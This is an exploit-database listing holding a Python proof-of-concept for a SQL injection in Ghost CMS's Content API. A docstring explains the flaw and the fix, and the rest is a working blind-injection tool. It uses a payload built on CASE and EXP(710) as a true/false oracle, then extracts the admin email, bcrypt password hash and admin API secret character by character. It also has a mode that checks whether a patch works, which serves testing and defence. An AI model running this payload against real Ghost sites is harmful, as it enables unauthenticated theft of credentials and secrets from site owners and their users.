Exploit database

GH-4c442eee40c95bdee83e31643ea8ed79

dinosn/ghost-cve-2026-26980

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-26980

7 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
dinosn/ghost-cve-2026-26980Revision 3efdca0107a2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 15,142 bytes
#!/usr/bin/env python3
"""
CVE-2026-26980 — Ghost CMS SQL Injection in Content API
========================================================
Unauthenticated arbitrary database read via slug filter ordering.

Affected:  Ghost 3.24.0 – 6.19.0
Fixed:     Ghost 6.19.1
CVSS:      9.4 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Advisory:  GHSA-w52v-v783-gw97
CWE:       CWE-89 (SQL Injection)
Credit:    Nicholas Carlini using Claude, Anthropic

Root cause
----------
ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js

The slug filter ordering function directly interpolated user-supplied
slug values into a SQL CASE statement without parameterisation:

    order += `WHEN \\`${table}\\`.\\`slug\\` = '${slug}' THEN ${index} `;

The Content API key is public by design (embedded in site HTML), so
this is a fully unauthenticated attack against any Ghost instance.

Attack technique
----------------
NQL accepts single-quote-wrapped values in array notation.  Those
quotes become part of the literal that slugFilterOrder interpolates,
producing:

    slug = ''||CASE WHEN {cond} THEN 0 ELSE EXP(710) END||''

In MySQL default mode, || is OR, '' is falsy, and EXP(710) triggers
a DOUBLE value out of range overflow.  The boolean oracle is:

    HTTP 200 → condition TRUE   (CASE returns 0, no overflow)
    HTTP 500 → condition FALSE  (EXP(710) overflows)

Usage
-----
    docker compose up -d
    python3 exploit.py --url http://localhost:2368

    # Validate the fix
    docker compose --profile fixed up -d
    python3 exploit.py --url http://localhost:2369 --validate-fix
"""

import argparse
import re
import sys
import time

import requests

# ── Defaults ─────────────────────────────────────────────────────────
ADMIN_NAME = "Ghost Admin"
ADMIN_EMAIL = "[email protected]"
ADMIN_PASSWORD = "Gh0stP0C2026!!"
BLOG_TITLE = "CVE-2026-26980 PoC"


class GhostSQLiExploit:
    """CVE-2026-26980 exploit — Content API slug filter SQL injection.

    Uses error-based boolean blind: EXP(710) overflows when the
    condition is FALSE, giving a clean 200/500 oracle without any
    timing dependency.
    """

    def __init__(self, base_url, verbose=False):
        self.url = base_url.rstrip("/")
        self.s = requests.Session()
        self.s.headers.update({
            "Accept": "application/json",
            "Content-Type": "application/json",
            "Origin": self.url,
            "Referer": f"{self.url}/ghost/",
        })
        self.key = None
        self.known_slug = None   # an existing tag slug for the payload
        self.verbose = verbose

    # ── helpers ───────────────────────────────────────────────────────

    def _log(self, msg):
        if self.verbose:
            print(f"    [DBG] {msg}")

    def _content_get(self, path, params=None):
        params = params or {}
        params["key"] = self.key
        return self.s.get(f"{self.url}/ghost/api/content/{path}",
                          params=params, timeout=30)

    # ── Phase 0: reconnaissance & setup ───────────────────────────────

    def wait(self, timeout=180):
        print(f"[*] Waiting for Ghost at {self.url}", end="", flush=True)
        t0 = time.time()
        while time.time() - t0 < timeout:
            try:
                r = self.s.get(
                    f"{self.url}/ghost/api/admin/authentication/setup/",
                    timeout=5)
                if r.status_code in (200, 403):
                    print(" ready")
                    return True
            except requests.ConnectionError:
                pass
            print(".", end="", flush=True)
            time.sleep(3)
        print(" TIMEOUT")
        return False

    def setup(self):
        """Create admin user or login if already set up."""
        print(f"[*] Setting up Ghost (admin: {ADMIN_EMAIL})")
        r = self.s.get(f"{self.url}/ghost/api/admin/authentication/setup/")

        already_setup = False
        if r.status_code == 403:
            already_setup = True
        elif r.status_code == 200:
            data = r.json()
            if data.get("setup", [{}])[0].get("status", False):
                already_setup = True

        if already_setup:
            print("[*] Already set up — logging in")
            return self._login()

        r = self.s.post(
            f"{self.url}/ghost/api/admin/authentication/setup/",
            json={"setup": [{
                "name": ADMIN_NAME,
                "email": ADMIN_EMAIL,
                "password": ADMIN_PASSWORD,
                "blogTitle": BLOG_TITLE,
            }]})
        if r.status_code in (200, 201):
            print("[+] Setup complete — establishing session")
            return self._login()
        print(f"[!] Setup failed: {r.status_code}")
        self._log(r.text[:300])
        return False

    def _login(self):
        r = self.s.post(
            f"{self.url}/ghost/api/admin/session/",
            json={"username": ADMIN_EMAIL, "password": ADMIN_PASSWORD})
        if r.status_code in (200, 201):
            print("[+] Logged in")
            return True
        print(f"[!] Login failed: {r.status_code}")
        return False

    def get_content_key(self):
        """Retrieve Content API key (via admin API or page source)."""
        # Try admin API first (requires session)
        r = self.s.get(f"{self.url}/ghost/api/admin/integrations/"
                       "?include=api_keys")
        if r.status_code == 200:
            for integ in r.json().get("integrations", []):
                for k in integ.get("api_keys", []):
                    if k.get("type") == "content":
                        self.key = k["secret"]
                        print(f"[+] Content API key: {self.key}")
                        return self.key

        # Fallback: create custom integration
        r = self.s.post(f"{self.url}/ghost/api/admin/integrations/",
                        json={"integrations": [{"name": "PoC"}]})
        if r.status_code in (200, 201):
            for k in r.json()["integrations"][0].get("api_keys", []):
                if k.get("type") == "content":
                    self.key = k["secret"]
                    print(f"[+] Content API key: {self.key}")
                    return self.key

        # Last resort: scrape from HTML (works unauthenticated!)
        r = requests.get(self.url, timeout=10)
        m = re.search(r'data-key="([a-f0-9]{20,})"', r.text)
        if m:
            self.key = m.group(1)
            print(f"[+] Content API key (from HTML): {self.key}")
            return self.key

        print("[!] Could not get Content API key")
        return None

    def enumerate_slug(self):
        """Find an existing public tag slug for the injection anchor."""
        r = self._content_get("tags/", {"filter": "slug:-null", "limit": "1"})
        if r.status_code == 200:
            tags = r.json().get("tags", [])
            if tags:
                self.known_slug = tags[0]["slug"]
                print(f"[+] Anchor slug: {self.known_slug}")
                return self.known_slug
        print("[!] No public tags found — injection still works "
              "but cannot return rows")
        return None

    # ── Phase 1: verify injection ─────────────────────────────────────

    def _sqli_filter(self, condition):
        """Build filter with error-based boolean oracle.

        Payload shape (inside NQL array):
            '||CASE WHEN {cond} THEN 0 ELSE EXP(710) END||'

        The leading/trailing single quotes become part of the SQL string
        that slugFilterOrder interpolates, producing:

            slug = ''||CASE WHEN ... THEN 0 ELSE EXP(710) END||''

        MySQL default || = OR, '' = falsy, EXP(710) = overflow error.
        """
        payload = (
            f"'||CASE WHEN {condition} "
            f"THEN 0 ELSE EXP(710) END||'"
        )
        slug = self.known_slug or "news"
        return f"slug:[{payload},{slug}]"

    def oracle(self, condition):
        """Error-based boolean oracle.
        Returns True if condition is TRUE in the database.
        HTTP 200 = TRUE, HTTP 500 = FALSE (EXP overflow).
        """
        filt = self._sqli_filter(condition)
        r = self._content_get("tags/", {"filter": filt})
        self._log(f"oracle({condition[:60]}...) → {r.status_code}")
        return r.status_code == 200

    def verify(self):
        """Verify SQL injection with the boolean oracle."""
        print("\n[*] Phase 1 — boolean blind verification")

        ok_true = self.oracle("1=1")
        print(f"  CASE WHEN 1=1:  {'200 (TRUE)' if ok_true else '500 (unexpected)'}")

        ok_false = not self.oracle("1=0")
        print(f"  CASE WHEN 1=0:  {'500 (FALSE)' if ok_false else '200 (unexpected)'}")

        if ok_true and ok_false:
            print("  [+] Boolean oracle confirmed — VULNERABLE")
            return True
        print("  [-] Oracle not working — target may be patched")
        return False

    # ── Phase 2: data extraction ──────────────────────────────────────

    def _extract_length(self, query):
        lo, hi = 0, 256
        while lo < hi:
            mid = (lo + hi) // 2
            if self.oracle(f"CHAR_LENGTH(({query})) > {mid}"):
                lo = mid + 1
            else:
                hi = mid
        return lo

    def _extract_char(self, query, pos):
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            cond = f"ORD(SUBSTR(({query}) FROM {pos} FOR 1)) > {mid}"
            if self.oracle(cond):
                lo = mid + 1
            else:
                hi = mid
        return chr(lo) if 32 <= lo <= 126 else "?"

    def extract(self, query, label="value"):
        """Extract a string from the database via boolean blind."""
        print(f"  Measuring length of {label}...", end=" ", flush=True)
        length = self._extract_length(query)
        print(f"{length} chars")
        if length == 0:
            return ""

        chars = []
        print(f"  Extracting: ", end="", flush=True)
        for pos in range(1, length + 1):
            ch = self._extract_char(query, pos)
            chars.append(ch)
            print(ch, end="", flush=True)
        print()
        return "".join(chars)

    # ── Phase 2 targets ───────────────────────────────────────────────

    def extract_admin_email(self):
        print("\n[*] Phase 2a — extracting admin email")
        q = "SELECT email FROM users ORDER BY id ASC LIMIT 1"
        email = self.extract(q, "admin email")
        print(f"  [+] Email: {email}")
        return email

    def extract_password_hash(self):
        print("\n[*] Phase 2b — extracting admin bcrypt hash")
        q = "SELECT password FROM users ORDER BY id ASC LIMIT 1"
        h = self.extract(q, "password hash")
        print(f"  [+] Hash:  {h}")
        return h

    def extract_admin_api_secret(self):
        print("\n[*] Phase 2c — extracting admin API key")
        q = ("SELECT secret FROM api_keys "
             "WHERE type='admin' ORDER BY id ASC LIMIT 1")
        s = self.extract(q, "admin API secret")
        print(f"  [+] Secret: {s}")
        return s

    # ── main flows ────────────────────────────────────────────────────

    def run(self, do_password=False, do_api_key=False):
        hdr = "CVE-2026-26980 — Ghost CMS Content API SQL Injection"
        print("=" * len(hdr))
        print(hdr)
        print("=" * len(hdr))
        print()

        if not self.wait():
            return False
        if not self.setup():
            return False
        if not self.get_content_key():
            return False
        self.enumerate_slug()

        if not self.verify():
            return False

        email = self.extract_admin_email()

        pw_hash = None
        if do_password:
            pw_hash = self.extract_password_hash()

        api_secret = None
        if do_api_key:
            api_secret = self.extract_admin_api_secret()

        print()
        print("=" * 60)
        print("  EXPLOITATION SUMMARY")
        print("=" * 60)
        print(f"  Target:        {self.url}")
        print(f"  CVE:           CVE-2026-26980")
        print(f"  Content key:   {self.key}")
        print(f"  Admin email:   {email}")
        if pw_hash:
            print(f"  Pwd hash:      {pw_hash[:30]}...")
        if api_secret:
            print(f"  Admin API key: {api_secret[:30]}...")
        print("=" * 60)
        return True

    def validate_fix(self):
        hdr = "CVE-2026-26980 — Fix Validation"
        print("=" * len(hdr))
        print(hdr)
        print("=" * len(hdr))
        print()

        if not self.wait():
            return False
        if not self.setup():
            return False
        if not self.get_content_key():
            return False
        self.enumerate_slug()

        if not self.verify():
            print("\n[+] PASS — no SQL injection detected, fix is effective")
            return True

        print("\n[!] FAIL — SQL injection still present!")
        return False


# ── CLI ───────────────────────────────────────────────────────────────

def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-26980 — Ghost CMS Content API SQLi PoC")
    ap.add_argument("--url", default="http://localhost:2368",
                    help="Ghost URL (default: http://localhost:2368)")
    ap.add_argument("--validate-fix", action="store_true",
                    help="Test that the target is NOT vulnerable")
    ap.add_argument("--extract-password", action="store_true",
                    help="Also extract admin bcrypt hash")
    ap.add_argument("--extract-api-key", action="store_true",
                    help="Also extract admin API secret")
    ap.add_argument("--content-key",
                    help="Skip setup, use this Content API key directly")
    ap.add_argument("-v", "--verbose", action="store_true")
    args = ap.parse_args()

    ex = GhostSQLiExploit(args.url, verbose=args.verbose)
    if args.content_key:
        ex.key = args.content_key

    if args.validate_fix:
        ok = ex.validate_fix()
    else:
        ok = ex.run(do_password=args.extract_password,
                    do_api_key=args.extract_api_key)
    sys.exit(0 if ok else 1)


if __name__ == "__main__":
    main()